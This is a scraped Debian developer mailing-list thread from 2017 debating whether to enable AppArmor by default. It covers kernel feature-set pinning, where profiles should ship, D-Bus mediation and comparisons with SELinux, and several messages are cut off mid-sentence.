>> practical example: say 1. D-Bus mediation lands in Linux
>> 4.15 (totally made up, but this would be nice!); 2. I run Debian
>> Stretch; 3. I have to run Linux 4.15+ from stretch-backports (e.g.
>> on a shiny laptop that needs recent drivers). Then any AppArmor
>> profile shipped in Debian Stretch that was developed without D-Bus
>> mediation in mind can potentially start breaking the application
>> it confines.

This is now happening: the side-effect of many new AppArmor features
having landed in Linux mainline (good news!) — before our policy was
updated accordingly — is that AppArmor broke a couple things when
Linux 4.13 landed in sid (sorry, it's the first time we face this
situation and we're learning along the way!), and breaks *lots* of
things when running Linux 4.14. This situation is exceptional in that
years of kernel development are being upstreamed at once, but it's
bound to happen again at a smaller scale, and we do need to deal with
it to support the use case described above anyway.

My plan is:

1. In testing/sid, ship a conffile (in a package built from
   src:apparmor) that pins the most recent feature set fully supported
   by our policy, i.e. Linux 4.12's or 4.13's (depending on whether
   we've fixed all the regressions brought by 4.13 yet); this is now
   tracked by #879584. This should make the transition to Linux 4.14
   smooth;

2. Once our policy has been updated to work well with Linux 4.14's
   AppArmor features (#877581), bump the pinned feature set to 4.14's.

3. Rinse & repeat for Linux 4.15 etc.

And wrt. Stretch + Linux from backports, I'll propose a stable update
of src:apparmor that ships a similar conffile that pins the feature
set to Linux 4.9's (#879585).

I've mentioned a few issues with this plan on the corresponding bug
reports. I propose we discuss them there to avoid overloading this
thread with too many fine details :)

> - kernel: If the kernel is backported and the feature set is pinned
>   there is a low likely hood of problems.

… so we should be good with the above plan. Thanks!

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Guido Günther:
On Sat, Sep 09, 2017 at 02:07:32PM -0700, John Johansen wrote:
>> - applications: When newer versions of applications are backported
>>   they can break under old policy because they provide new features
>>   that old policy wasn't designed for.  Policy must be tested and
>>   updated as part of an application backport/SRU.

> This (and somewhat related the next point) is the reason why policy
> should be shipped by the application (that is the Debian package
> containing the application), not in an apparmor-profiles package. This
> makes sure the profile matches the application.

Absolutely. Here's the status / progress update on this front:

 - In the last 1.5 year three profiles (Evince, ntp and tcpdump) were
   moved from apparmor-profiles-extra to the corresponding package.

 - apparmor-profiles ships only a few profiles currently, all of them
   in complain mode; there's discussion (#830502) about what should be
   done there.

 - The only other apparmor* package that ships policy for other
   software is apparmor-profiles-extra, which currently enforces
   profiles for apt-cacher-ng, Pidgin and Totem.

   I want to move them to the corresponding package during the Buster
   cycle. If you want to help, I recommend starting with
   usr.bin.pidgin and usr.sbin.apt-cacher-ng: both are pretty stable
   and have needed very few updates in the last few years. Totem is
   more complicated; it's also the one that would benefit the most
   from being shipped in src:totem, provided a good workflow is set up
   so users, Totem maintainers and AppArmor people are all happy.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Neal Gompa]

Hello,

I was recently pointed to the thread going on debian-devel about
enabling AppArmor LSM in Debian, and as I read through your proposal,
I felt it should be warranted to point out a few things in regards to
the SELinux comparison:

> Why AppArmor and not SELinux?
> -
>
> SELinux is another LSM that tackles similar problems.
>
> Disclaimer: I've picked AppArmor years ago and didn't look much at
> SELinux recently, so some of what follows may be totally wrong or
> outdated. Sorry! Debian SELinux people, if you don't mind please help
> me get the basic facts right :)
>
> Pros:
>
> * Allows mediating more kernel objects / interfaces than AppArmor, so
>   policy can be made stricter and safer given sufficient expertise
>   and available time for maintenance.
>
> * Enabled by default in RHEL so in theory a great number of sysadmins
>   are at ease with it (see below why reality may not match this).
>

It's also important to note that it is also enabled by default in
Fedora, which is the upstream for RHEL.

> * A quick look at popcon suggests that SELinux might be more popular
>   in Debian than AppArmor, but I'm not sure I am interpreting the
>   numbers right (and I suspect that just like AppArmor, the popcon
>   won't tell us if users who have installed the relevant support
>   packages actually run their system with the corresponding LSM
>   enabled & enforced).
>

I do know of users of SELinux in Debian and Ubuntu, though they often
fork from refpolicy or fedora-selinux the bits they want to use and
install it on top of the current refpolicy offered in Debian.

> Cons:
>
> * Writing, maintaining, auditing and debugging SELinux policy
>   requires grasping a complex conceptual model; I am told this is not
>   as easy as doing the same with AppArmor.
>

This is not really true. While it is true that the conceptual model is
more complex, the tooling for doing all the regular work with SELinux
is great. In many cases, the tools can analyze what's happened and
suggest a course of action about how to fix it. If it looks like a
bug, they suggest filing one with the vendor (in my case, when weird
things happen with the SELinux policy in Fedora, bugs get filed on
selinux-policy with the information from setroubleshoot so that things
can get fixed).

As for the complexity of making policies and policy modules, I've
written a few policy modules, and they're not that bad. You can make
some pretty simple policies if you don't want to expose any
administrative tunables. That said, even with the tunables, it's not
that bad.

For example, the container-selinux policy module is pretty easy to
understand: https://github.com/projectatomic/container-selinux

The refpolicy documentation is pretty comprehensive too:
http://oss.tresys.com/docs/refpolicy/api/

One of the members of the Red Hat/Fedora SELinux team maintains a nice
blog describing improvements as they come:
https://lvrabec-selinux.rhcloud.com/

There's a few videos done by Red Hat folks on SELinux that are worth
watching on YouTube:

* Are you listening to what SELinux is telling you?:
https://www.youtube.com/watch?v=Wv9kwlabdlo
* Security-enhanced Linux for mere mortals - 2015 Red Hat Summit:
https://www.youtube.com/watch?v=cNoVgDqqJmM
* SELinux by Paul Moore: https://www.youtube.com/watch?v=j_do1yfPISw

There's also a great video by Noah Chelliah about SELinux:

* Security Enhanced Linux | Ask Noah 9:
http://www.jupiterbroadcasting.com/115151/security-enhanced-linux-ask-noah-9/

> * As far as I could understand when chatting with sysadmins of Red
>   Hat systems, this has resulted in a culture where many users got
>   used to disable SELinux entirely on their systems, instead of
>   trying to fix the buggy policy. I've seen the opposite happen with
>   AppArmor, which is good: for example, pretty often bug reporters to
>   the Debian BTS document themselves how they could workaround the
>   problem locally *without* turning AppArmor off. Looking at open
>   bugs in the BTS against src:refpolicy, this seems to happen very
>   rarely for SELinux, so I wonder if it would be realistic to ship
>   Debian with SELinux enforced by default and have our community
>   support it.
>

Back in the RHEL 5 days, this is definitely true. And if many of of
the Red Hat sysadmins you've talked to primarily maintain RHEL 5
systems (which is not unlikely), then it makes sense. Back in the RHEL
5 days (circa 2007), the tooling was very primitive, and for the most
part, the troubleshooting tools didn't exist.

Today in Fedora and RHEL 7, the tooling is very advanced, and in
almost every case where I've hit AVC denials in SELinux,
setroubleshoot has given me very useful information including
suggested course of actions to actually fix it locally. It would
probably not be all that difficult to also support the case of
submitting bugreports to the BTS (it currently can for Bugzilla based
systems, such as Red Hat Bugzilla and SUSE Bugzilla).

Most of my fell

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Chris Lamb:
> So… in the spirit of taking (reversible!) risks, can you briefly outline
> what's blocking us enabling this today? :)

Thanks for asking!

I've scheduled time on October 23-27 to:

1. identify what still prevents us from starting the proposed
   experiment

2. fix all the problems identified in #1

3. document on the BTS what must be fixed between the time we start
   the experiment and the time we decide what to do for the Buster
   release

After this we should be in a very good position to go ahead and press
the big red button :)

The feedback I've received off-list and on the BTS so far has been
extremely encouraging: a few DDs enabled AppArmor on their systems,
reported bugs that were promptly fixed, and some of them successfully
fixed the bug themselves locally despite having no previous experience
with AppArmor… which is exactly how it should be for the LSM enabled
by default in Debian IMO. In at least one case we realized only after
I had fixed the bug and submitted a fix upstream that their own, local
workaround was identical to my own fix, which I find enlightening wrt.
the AppArmor learning curve.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Guido Günther]

Hi John,

very interesting read!

On Sat, Sep 09, 2017 at 02:07:32PM -0700, John Johansen wrote:
> On 09/09/2017 12:49 PM, intrigeri wrote:
> > Hi John et al,
> > 
> > John Johansen:
> >> On 08/09/2017 02:31 PM, intrigeri wrote:
> >>> Moritz Mühlenhoff:
>  Christian Seiler  schrieb:
> > Another thing to consider: if a profile is too restrictive, but the
> > part that is too restrictive isn't in the upstream kernel yet, then
> > things could break if you upgrade the kernel to a newer version from
> > e.g. backports later on. How would you deal with that kind of
> > breakage during the lifetime of a stable release?
> >>>
>  Agreed, that was pretty much my concern.
> >>>
> >>> Thank you so much for highlighting problems I had missed! :)
> >>>
> >>> A simple, but not entirely satisfying answer is:
> >>>
> >>> 1. Gather info about how real this problem has been in practice for
> >>>Ubuntu: they frequently update their kernel for various already
> >>>released distros with the latest AppArmor bits. I think they
> >>>occasionally have to update other packages accordingly to adjust
> >>>AppArmor policy. I don't know how often this happens. I'll ask them
> >>>to compile a list of such stable updates.
> > 
> >> [...]
> >> The question specifically asks about, an updated kernel with a policy
> >> that was developed under a different feature set, suddenly breaking
> >> when a new kernel is run on an older system.
> > 
> > Right.
> > 
> > Below you elaborate about ABI compatibility between the kernel,
> > userspace and policy. Thanks, I've learned a lot!
> > 
> > But even more specifically, the question was about policy updates
> > mandated to avoid breaking *confined applications* when upgrading to
> > a kernel that mediates more interfaces than the one in Debian stable.
> > 
> 
> haha, I had a broader answer dealing with some of this and upon review
> had decided the question was about a newer kernel on an older release,
> and it would be best to have concise answers around that :)
> 
> > Christian Seiler put it clearly (quoted above) but here's a more
> > practical example: say 1. D-Bus mediation lands in Linux
> > 4.15 (totally made up, but this would be nice!); 2. I run Debian
> > Stretch; 3. I have to run Linux 4.15+ from stretch-backports (e.g.
> > on a shiny laptop that needs recent drivers). Then any AppArmor
> > profile shipped in Debian Stretch that was developed without D-Bus
> > mediation in mind can potentially start breaking the application
> > it confines.
> > 
> This is true, hence the suggestion to pin the feature set by
> setting the features file in parser.conf  This would prevent policy
> from enforcing the dbus feature, and prevent the application
> from breaking.
> 
> I will admit this is not ideal because it applies to all policy loaded
> in the namespace (a container could have its own parser and flags)
> unless policy is manually loaded with a flag to override it. Which
> prevents policy that has been developed with the new feature from
> taking advantage of it in this scenario.
> 
> There is some work to expose the feature set to policy which will let
> policy conditionally choose which features it supports but I can't
> promise when that work will land.
> 
> > So our questions to Ubuntu & other distros are:
> > How have you been dealing with such problems in the past few years?
> > How often did you have to update packages in a stable release in
> > order to fix them?
> > 
> > Now, simply enabling AppArmor by default during the Buster development
> > cycle will give us some of the answers:  given many AppArmor features
> > will land in Linux in the next months/years, we *will* notice if our
> > policy is outdated :)
> > 
> 
> So there are four separate components (kernel, userspace, policy,
> application) to discuss here and different potential problems,
> depending on the combination.
> 
> - kernel: If the kernel is backported and the feature set is pinned
>   there is a low likely hood of problems. As I addressed previously
>   there is the potential for a kernel to make changes beyond
>   apparmor's control that change how/what permission requests reach
>   apparmor and this can cause problems. Thankfully in practice this
>   has not happened often.
> 
> - apparmor userspace: Baring bugs, new userspaces should just work
>   with old kernels. Even if the feature set is not pinned, the
>   userspace will use the old kernel's feature set, so it is equivalent
>   to pinning.
> 
> - applications: When newer versions of applications are backported
>   they can break under old policy because they provide new features
>   that old policy wasn't designed for.  Policy must be tested and
>   updated as part of an application backport/SRU.

This (and somewhat related the next point) is the reason why policy
should be shipped by the application (that is the Debian package
containing the application), not in an apparmor-profiles package. This
makes sure th

Re: Let's enable AppArmor by default (why not?)

[John Johansen]

On 09/09/2017 12:49 PM, intrigeri wrote:
> Hi John et al,
> 
> John Johansen:
>> On 08/09/2017 02:31 PM, intrigeri wrote:
>>> Moritz Mühlenhoff:
 Christian Seiler  schrieb:
> Another thing to consider: if a profile is too restrictive, but the
> part that is too restrictive isn't in the upstream kernel yet, then
> things could break if you upgrade the kernel to a newer version from
> e.g. backports later on. How would you deal with that kind of
> breakage during the lifetime of a stable release?
>>>
 Agreed, that was pretty much my concern.
>>>
>>> Thank you so much for highlighting problems I had missed! :)
>>>
>>> A simple, but not entirely satisfying answer is:
>>>
>>> 1. Gather info about how real this problem has been in practice for
>>>Ubuntu: they frequently update their kernel for various already
>>>released distros with the latest AppArmor bits. I think they
>>>occasionally have to update other packages accordingly to adjust
>>>AppArmor policy. I don't know how often this happens. I'll ask them
>>>to compile a list of such stable updates.
> 
>> [...]
>> The question specifically asks about, an updated kernel with a policy
>> that was developed under a different feature set, suddenly breaking
>> when a new kernel is run on an older system.
> 
> Right.
> 
> Below you elaborate about ABI compatibility between the kernel,
> userspace and policy. Thanks, I've learned a lot!
> 
> But even more specifically, the question was about policy updates
> mandated to avoid breaking *confined applications* when upgrading to
> a kernel that mediates more interfaces than the one in Debian stable.
> 

haha, I had a broader answer dealing with some of this and upon review
had decided the question was about a newer kernel on an older release,
and it would be best to have concise answers around that :)

> Christian Seiler put it clearly (quoted above) but here's a more
> practical example: say 1. D-Bus mediation lands in Linux
> 4.15 (totally made up, but this would be nice!); 2. I run Debian
> Stretch; 3. I have to run Linux 4.15+ from stretch-backports (e.g.
> on a shiny laptop that needs recent drivers). Then any AppArmor
> profile shipped in Debian Stretch that was developed without D-Bus
> mediation in mind can potentially start breaking the application
> it confines.
> 
This is true, hence the suggestion to pin the feature set by
setting the features file in parser.conf  This would prevent policy
from enforcing the dbus feature, and prevent the application
from breaking.

I will admit this is not ideal because it applies to all policy loaded
in the namespace (a container could have its own parser and flags)
unless policy is manually loaded with a flag to override it. Which
prevents policy that has been developed with the new feature from
taking advantage of it in this scenario.

There is some work to expose the feature set to policy which will let
policy conditionally choose which features it supports but I can't
promise when that work will land.

> So our questions to Ubuntu & other distros are:
> How have you been dealing with such problems in the past few years?
> How often did you have to update packages in a stable release in
> order to fix them?
> 
> Now, simply enabling AppArmor by default during the Buster development
> cycle will give us some of the answers:  given many AppArmor features
> will land in Linux in the next months/years, we *will* notice if our
> policy is outdated :)
> 

So there are four separate components (kernel, userspace, policy,
application) to discuss here and different potential problems,
depending on the combination.

- kernel: If the kernel is backported and the feature set is pinned
  there is a low likely hood of problems. As I addressed previously
  there is the potential for a kernel to make changes beyond
  apparmor's control that change how/what permission requests reach
  apparmor and this can cause problems. Thankfully in practice this
  has not happened often.

- apparmor userspace: Baring bugs, new userspaces should just work
  with old kernels. Even if the feature set is not pinned, the
  userspace will use the old kernel's feature set, so it is equivalent
  to pinning.

- applications: When newer versions of applications are backported
  they can break under old policy because they provide new features
  that old policy wasn't designed for.  Policy must be tested and
  updated as part of an application backport/SRU.

- policy: The backporting of policy is the most problematic. New
  policy shouldn't be dropped onto older applications without testing.

  Also new policy may make use of features that are not supported by
  an older userspace. In this case policy should be adjusted or a
  newer apparmor userspace can be used.  If the feature set is pinned
  the apparmor userspace can gracefully downgrade unsupported features
  so that new policy can work on older feature sets (you can also
  configure it to warn or abort).

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi John et al,

John Johansen:
> On 08/09/2017 02:31 PM, intrigeri wrote:
>> Moritz Mühlenhoff:
>>> Christian Seiler  schrieb:
 Another thing to consider: if a profile is too restrictive, but the
 part that is too restrictive isn't in the upstream kernel yet, then
 things could break if you upgrade the kernel to a newer version from
 e.g. backports later on. How would you deal with that kind of
 breakage during the lifetime of a stable release?
>> 
>>> Agreed, that was pretty much my concern.
>> 
>> Thank you so much for highlighting problems I had missed! :)
>> 
>> A simple, but not entirely satisfying answer is:
>> 
>> 1. Gather info about how real this problem has been in practice for
>>Ubuntu: they frequently update their kernel for various already
>>released distros with the latest AppArmor bits. I think they
>>occasionally have to update other packages accordingly to adjust
>>AppArmor policy. I don't know how often this happens. I'll ask them
>>to compile a list of such stable updates.

> [...]
> The question specifically asks about, an updated kernel with a policy
> that was developed under a different feature set, suddenly breaking
> when a new kernel is run on an older system.

Right.

Below you elaborate about ABI compatibility between the kernel,
userspace and policy. Thanks, I've learned a lot!

But even more specifically, the question was about policy updates
mandated to avoid breaking *confined applications* when upgrading to
a kernel that mediates more interfaces than the one in Debian stable.

Christian Seiler put it clearly (quoted above) but here's a more
practical example: say 1. D-Bus mediation lands in Linux
4.15 (totally made up, but this would be nice!); 2. I run Debian
Stretch; 3. I have to run Linux 4.15+ from stretch-backports (e.g.
on a shiny laptop that needs recent drivers). Then any AppArmor
profile shipped in Debian Stretch that was developed without D-Bus
mediation in mind can potentially start breaking the application
it confines.

So our questions to Ubuntu & other distros are:
How have you been dealing with such problems in the past few years?
How often did you have to update packages in a stable release in
order to fix them?

Now, simply enabling AppArmor by default during the Buster development
cycle will give us some of the answers:  given many AppArmor features
will land in Linux in the next months/years, we *will* notice if our
policy is outdated :)

>>> Ideally the feature set used would also be controlled by the
>>> apparmor userspace side.
>> 
>> If we need to go this far: apparmor_parser has a --features-file
>> option that we could leverage to tie the feature set being used to
>> something else than the version of the running kernel, e.g.
>> with a file shipped in a new package built from src:linux with
>> appropriate versioned dependencies.

> the feature file can indeed be specified on the command line using
> --feature-file, but from a support pov I think specifying it in the
> config file

>   apparmor/subdomain.conf

Do you mean /etc/apparmor/parser.conf?
I can't find anything related in subdomain.conf(5).

> would be better as then you don't have to mess with initscripts, unit
> files, etc.

Absolutely. I guess we would want a package built from src:apparmor to
ship that conffile containing "features-file XYZ", where XYZ encodes
the feature set supported by the policy in the version of Debian this
src:apparmor was built for. Which raises a number of technical and
policy questions, not all of them trivial, so I want to first check
whether we really need to go that far (see above).

> 4.14 - isn't fully decided yet, but it should pickup everything except
>maybe the extended unix socket mediation

Just curious: does this "everything except" include D-Bus mediation?

> There is recognition that this was the wrong approach and there is
> now an upstream first policy.

This, along with the vivid collaboration I see between the GNOME and
Ubuntu projects these days, is very good news :)

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Christian Seiler:
> On 08/09/2017 10:33 PM, intrigeri wrote:
>>> Or, conversely, is there a possibility to add a flag to the AppArmor
>>> profile to say "fail to load it if something is not understood"? In
>>> that case all profiles shipped by Debian would not include that (for
>>> interoperability reasons) but it could be documented that as a best
>>> practice for admins they should use that flag so that they can be
>>> sure that all protections they specified are actually affected.
>> 
>> If we're fine with relying purely on documentation to address this
>> problem for sysadmins writing their own profiles, then we can suggest
>> they use the existing apparmor_parser options about this:
>> 
>>   alias apparmor_parser='apparmor_parser --warn=rules-not-enforced 
>> --warn=rule-downgraded'
>> 
>> … and then no new code needs to be written :)
>> 
>> Would that be good enough in your opinion?

> If that documentation is easy enough to find: sure, yes.

For now, I've added this to
https://wiki.debian.org/AppArmor/Contribute#Create_new_profiles

Once we've made progress on the documentation front (see below)
we can ensure that whatever resource we recommend documents this.

> Speaking of: are there any good introductions for AppArmor?
> […]
> For buster, if AppArmor is enabled by default (which btw. I'm in
> favor of, in case that was not clear), I think we should take care
> to nudge people towards the resources that describe best practices.

There are a number of AppArmor tutorials aimed at beginners. We link
to a few of them on https://wiki.debian.org/AppArmor#External_links.
but the mere fact that there are 7 of them, with greatly overlapping
content and no indication of who the target audience is, suggests we
don't have a good answer to your question yet.

So I've filed #874873 (severity: important) to keep this on our radar.

Thanks for caring,
cheers!
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Raphael Hertzog:
> https://debian-handbook.info/browse/stable/sect.apparmor.html

Thanks, added to https://wiki.debian.org/AppArmor#External_links :)

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Chris Lamb]

Hi intri,

> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.

So… in the spirit of taking (reversible!) risks, can you briefly outline
what's blocking us enabling this today? :)


Best wishes,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Re: Let's enable AppArmor by default (why not?)

[Chris Lamb]

Hey intri,

> 1. Use the simplest of systemd's hardening features (e.g.
>Protect{Home,System}=, Private{Devices,Tmp,Network}=,
>CapabilityBoundingSet=) to their full extend.
> 
>Not many unit files we ship do that yet. Generally these
>improvements can be implemented upstream and benefit users of
>systemd on other distros :)

Indeed! :)  For example, here I'm merging upstream's rather more locked
down unit file into the Debian one:

  https://bugs.debian.org/871610


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Re: Let's enable AppArmor by default (why not?)

[Lisandro Damián Nicanor Pérez Meyer]

On viernes, 4 de agosto de 2017 19:31:36 -03 intrigeri wrote:
> Hi!
> 
> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.
> 
> My goals when initiating this discussion are:
> 
>  - Get a rough idea of what amount of effort the Debian project is
>happy (and able) to invest into such proactive security measures.
> 
>  - Learn about any relevant social & technical concerns I am not
>aware of.
> 
> I don't expect we'll make a decision based on this very proposal:
> I expect the proposal will need to be refined, or abandoned, to take
> into account what we will learn during this preliminary discussion.

From the way you redacted this you made me want to try apparmor. That's 
already a big compliment :-)

For what I read in the proposal and in the thread I do believe we need to at 
least try this for a year.

So my +1 for going ahead.

-- 
Hi! I'm a .signature virus! Copy me into your ~/.signature, please!

Lisandro Damián Nicanor Pérez Meyer
http://perezmeyer.com.ar/
http://perezmeyer.blogspot.com/


signature.asc
Description: This is a digitally signed message part.

Re: Let's enable AppArmor by default (why not?)

[Wouter Verhelst]

On Sun, Aug 06, 2017 at 01:27:49PM +0500, Andrey Rahmatullin wrote:
> On Sun, Aug 06, 2017 at 07:28:08AM +, Dr. Bas Wijnen wrote:
> > I can't think of a situation where you would not want it
> The "I don't want yet another thing that can cause subtle breakages and
> doesn't give me anything" situation (see disabling selinux after install
> on RH systems).

It actually does give you anything, and debugging SELinux breakages is
fairly simple, with the fix usually being rather small.

For a while after RedHat started enabling SELinux by default on their
systems, a number of security researchers yelled "I've found an
exploitable bug in RedHat" for which the first step to exploit was
always "first, disable SELinux". I'm not saying that that's not a
problem, but it *does* show that using SELinux or AppArmor has benefits.

I think enabling an LSM by default is a good idea, and we should do it
if we can. The "subtle breakages" you mention are annoying for you, but
they can be a showstopper for an attacker, and that's a *good* thing.
Yes, obviously when we enable an LSM we should also make it easy for
users to understand that something is blocked by the LSM and explain to
them how they can unblock it if they want to. But just saying "it causes
issues, let's not" is the same as saying "permissions on the file system
causes issues, let's install to FAT32 everywhere", and that's just not a
good idea.

-- 
Could you people please use IRC like normal people?!?

  -- Amaya Rodrigo Sastre, trying to quiet down the buzz in the DebConf 2008
 Hacklab

Re: Let's enable AppArmor by default (why not?)

[John Johansen]

On 08/10/2017 02:23 PM, Simon McVittie wrote:
> On Thu, 10 Aug 2017 at 12:00:15 -0700, John Johansen wrote:
>>   but ideally would be enabled by the dbus code advising the
>>   kernel module it is mediating
> 
> "The" dbus code? There can be several parallel instances of dbus-daemon,
> possibly different versions of the executable, certainly differently
> configured, which can result in any combination of them having
> AppArmor mediation enabled or disabled. For example a typical GNOME
> laptop will have a system bus, a session bus for the system user
> that runs the gdm greeter, and a session bus for the logged-in user
> account.
> 
> It is meaningful to ask whether a specific dbus-daemon instance is
> applying AppArmor mediation, and the latest development branches
> advertise this by putting "apparmor" in the bus driver's Features
> property. In general it isn't necessarily meaningful to say
> "the dbus-daemons running on this kernel are applying AppArmor
> mediation" because some of them might be an executable that doesn't
> support it, and some of them might support it but have it disabled
> in configuration.
> 
> So I think this is something that should be queried by asking each
> dbus-daemon whether it is mediating, rather than by asking the kernel.
> 
yep having a way to detect/ask individual deamons is the way to go.

I was merely commenting on that the current kernel flag not being
reflective of actual mediation. Which the dbus daemon is providing, and
it (they) should be what is setting the support status, whether in
kernel or by a different means.

Regardless we will be keeping the kernel flag for several years to
provide backwards compat for newer kernels on earlier releases.

Re: Let's enable AppArmor by default (why not?)

[Simon McVittie]

On Thu, 10 Aug 2017 at 12:00:15 -0700, John Johansen wrote:
>   but ideally would be enabled by the dbus code advising the
>   kernel module it is mediating

"The" dbus code? There can be several parallel instances of dbus-daemon,
possibly different versions of the executable, certainly differently
configured, which can result in any combination of them having
AppArmor mediation enabled or disabled. For example a typical GNOME
laptop will have a system bus, a session bus for the system user
that runs the gdm greeter, and a session bus for the logged-in user
account.

It is meaningful to ask whether a specific dbus-daemon instance is
applying AppArmor mediation, and the latest development branches
advertise this by putting "apparmor" in the bus driver's Features
property. In general it isn't necessarily meaningful to say
"the dbus-daemons running on this kernel are applying AppArmor
mediation" because some of them might be an executable that doesn't
support it, and some of them might support it but have it disabled
in configuration.

So I think this is something that should be queried by asking each
dbus-daemon whether it is mediating, rather than by asking the kernel.

 S

Re: Let's enable AppArmor by default (why not?)

[John Johansen]

On 08/10/2017 11:31 AM, Simon McVittie wrote:
> On Wed, 09 Aug 2017 at 17:17:17 -0700, John Johansen wrote:
>> The dbus code went through several revisions as well. While the dbus
>> code doesn't require a lot from the kernel, it did have some influence
>> on the kernel support interfaces.
> 
> I'm curious: is the kernel side of D-Bus mediation specific to D-Bus,
> or is it general-purpose support for mediating user-space activities
> that look roughly the same shape as D-Bus?
> 
The kernel side of D-Bus is generic except one flag.

It provides

- label/context info to the proc//attr/current and SO_PEER_SEC
  which are wrapped by the libapparmor api fns

- the query interface which allows user space to query policy that
  is loaded into the kernel. The dbus code was the first consumer
  so it helped shape what the interface looks like and how the
  queries are constructed.

- a flag in the features advertising that dbus mediation support
  is available. This last one currently is set by the kernel
  but ideally would be enabled by the dbus code advising the
  kernel module it is mediating.

For dbus mediation we assigned dbus its own class with in the
policydb. Queries to the dbus class need have the dbus query
structure, queries to other classes must follow those classes.
There is certainly some similarity between the classes, but
some of them are quite different from dbus.

Re: Let's enable AppArmor by default (why not?)

[Simon McVittie]

On Wed, 09 Aug 2017 at 17:17:17 -0700, John Johansen wrote:
> The dbus code went through several revisions as well. While the dbus
> code doesn't require a lot from the kernel, it did have some influence
> on the kernel support interfaces.

I'm curious: is the kernel side of D-Bus mediation specific to D-Bus,
or is it general-purpose support for mediating user-space activities
that look roughly the same shape as D-Bus?

S

Re: Let's enable AppArmor by default (why not?)

[Raphael Hertzog]

Hi,

On Wed, 09 Aug 2017, Christian Seiler wrote:
> Speaking of: are there any good introductions for AppArmor? Not
> necessarily for me personally (I've had some experience with
> SELinux, so I recon I'll figure AppArmor out easily enough), but
> for beginners? Something I can point friends of mine to? Ideally
> something that doesn't just describe the syntax, but also best
> practices? When I first ran into SELinux I found a couple of

https://debian-handbook.info/browse/stable/sect.apparmor.html

Feedback welcome as bug reports against the debian-handbook package.
Note that this (still) describes the status of the package
in jessie, I have not yet finished to update the book for stretch.

Cheers,
-- 
Raphaël Hertzog ◈ Debian Developer

Support Debian LTS: https://www.freexian.com/services/debian-lts.html
Learn to master Debian: https://debian-handbook.info/get/

Re: Let's enable AppArmor by default (why not?)

[John Johansen]

On 08/09/2017 02:31 PM, intrigeri wrote:
> Hi,
> 
> [John, there's a question for you at the bottom, but you probably have
> useful input about the first part of the discussion below too.]
> 
> Moritz Mühlenhoff:
>> Christian Seiler  schrieb:
>>> Another thing to consider: if a profile is too restrictive, but the
>>> part that is too restrictive isn't in the upstream kernel yet, then
>>> things could break if you upgrade the kernel to a newer version from
>>> e.g. backports later on. How would you deal with that kind of
>>> breakage during the lifetime of a stable release?
> 
>> Agreed, that was pretty much my concern.
> 
> Thank you so much for highlighting problems I had missed! :)
> 
> A simple, but not entirely satisfying answer is:
> 
> 1. Gather info about how real this problem has been in practice for
>Ubuntu: they frequently update their kernel for various already
>released distros with the latest AppArmor bits. I think they
>occasionally have to update other packages accordingly to adjust
>AppArmor policy. I don't know how often this happens. I'll ask them
>to compile a list of such stable updates.
> 
> 2. Evaluate for a year how it goes for Stretch + Linux from backports.
> 
>Desktop: I'm in a good place to provide data points, as Tails
>generally ships this combination and we exercise the vast majority
>of the desktop AppArmor stuff that's in Debian.
> 
>Server: sorry, I use the stable kernel except on bare-metal
>virtualization hosts. But I think (1) will give us enough data on
>this front.
> 
> 3. Depending on what (1) and (2) tell us, decide whether "we might
>have to update AppArmor policy from time to time in stable
>point-releases or backports" is good enough… keeping in mind that
>other distros are already dealing with the exact same problem, so
>we won't have to do this alone.  And if it's not good enough:
> 

There are several distinct issues when dealing with stable release
support. There are basically 3 different potentially moving components
to consider

  kernel - changes may result in a change in the supported feature
   set.
   
  policy - a package may backport/drop in policy that was developed on
   a different feature set.

  user space - changes/updates may be required to support new features
   in a kernel or policy.

The question specifically asks about, an updated kernel with a policy
that was developed under a different feature set, suddenly breaking
when a new kernel is run on an older system.

The kernel portion is designed to support multiple versions of
userspace policy abis, and while we have dropped some of the older
abis, it is done slowly. The current kernel code supports the abi from
2009. So newer kernels will support older policy and userspaces.

Similarly the userspace is designed to support multiple kernel
versions and abis, so a newer userspace (if it is SRUed for some
reason) can support older kernels.

This leaves us dealing with policy. As long as the policy has not been
changed, it is possible to force userspace to build policy for a
certain kernel feature set by specifying the feature file.

This can be done in the apparmor/subdomain.conf file

with this specified, policy should remain to be compiled as for the
older kernel, and the new kernel should support and enforce it under
that abi.

There is however a caveat that sometimes the kernel changes abi
behavior in ways that apparmor can not adapt to without policy
modification.

An example of this would be
  commit 9f834ec18defc369d73ccf9e87a2790bfa05bf46
  binfmt_elf: switch to new creds when switching to new mm

which resulted in a change of which cred the PROT_EXEC request was
made against. With the way the lsm hook is designed only the single
cred is available so it is not even possible for apparmor to emulate
the old behavior.

In this case older policy needed to be patched to support the newer
behavior if it was to be used on a newer kernel, and a flag was
added to the apparmor kernel features interface making it possible
for userspace to detect that the kernel contained the change.

Thankfully this type of change is has not been very common.


>> Ideally the feature set used would also be controlled by the
>> apparmor userspace side.
> 
> If we need to go this far: apparmor_parser has a --features-file
> option that we could leverage to tie the feature set being used to
> something else than the version of the running kernel, e.g.
> with a file shipped in a new package built from src:linux with
> appropriate versioned dependencies.
> 

the feature file can indeed be specified on the command line using
--feature-file, but from a support pov I think specifying it in the
config file

  apparmor/subdomain.conf

would be better as then you don't have to mess with initscripts, unit
files, etc.


>> Also, I'm wondering about the status of kernel support which is
>> currently not upstreamed: intrigeri mention that 

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

[John, there's a question for you at the bottom, but you probably have
useful input about the first part of the discussion below too.]

Moritz Mühlenhoff:
> Christian Seiler  schrieb:
>> Another thing to consider: if a profile is too restrictive, but the
>> part that is too restrictive isn't in the upstream kernel yet, then
